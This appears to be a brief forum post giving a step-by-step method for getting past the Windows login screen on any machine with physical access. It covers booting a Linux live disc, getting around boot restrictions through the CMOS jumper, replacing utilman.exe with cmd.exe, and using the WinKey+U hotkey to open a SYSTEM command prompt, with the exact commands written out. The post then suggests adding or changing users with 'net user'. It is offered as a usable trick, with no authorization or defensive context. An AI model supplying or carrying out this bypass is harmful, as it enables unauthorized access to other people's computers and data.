Thought this might be handy for some people. This will "bypass" the login password for any windows machine. You will need physical access.
1. Boot the machine off a linux live CD, like an Ubuntu DVD
To accomplish this, you may need to power down and cold boot the machine, if you can not access shutdown.exe
You may also need to allow booting off of Optical Disc, possibly changing the CMOS reset jumper to accomplish this
2. Navigate to %WINDIR%\System32
3 Rename utilman.exe to utilman.old, then copy cmd.com to utilman.exe. Reboot into Windows
ren utilman.exe utilman.oldOn older windows:
copy cmd.com utilman.exeOn newer windows:
copy cmd.exe utilman.exe
shutdown -r -t 0
4. At login prompt hit the utilman hot key. This brings up a SYSTEM command prompt
WinKey + U
From here you can run any command, add or change users, etc. You can type "explorer" and get a system level desktop!
The "net" command can do most of what you will need. See
net user /? for info on changing users, for example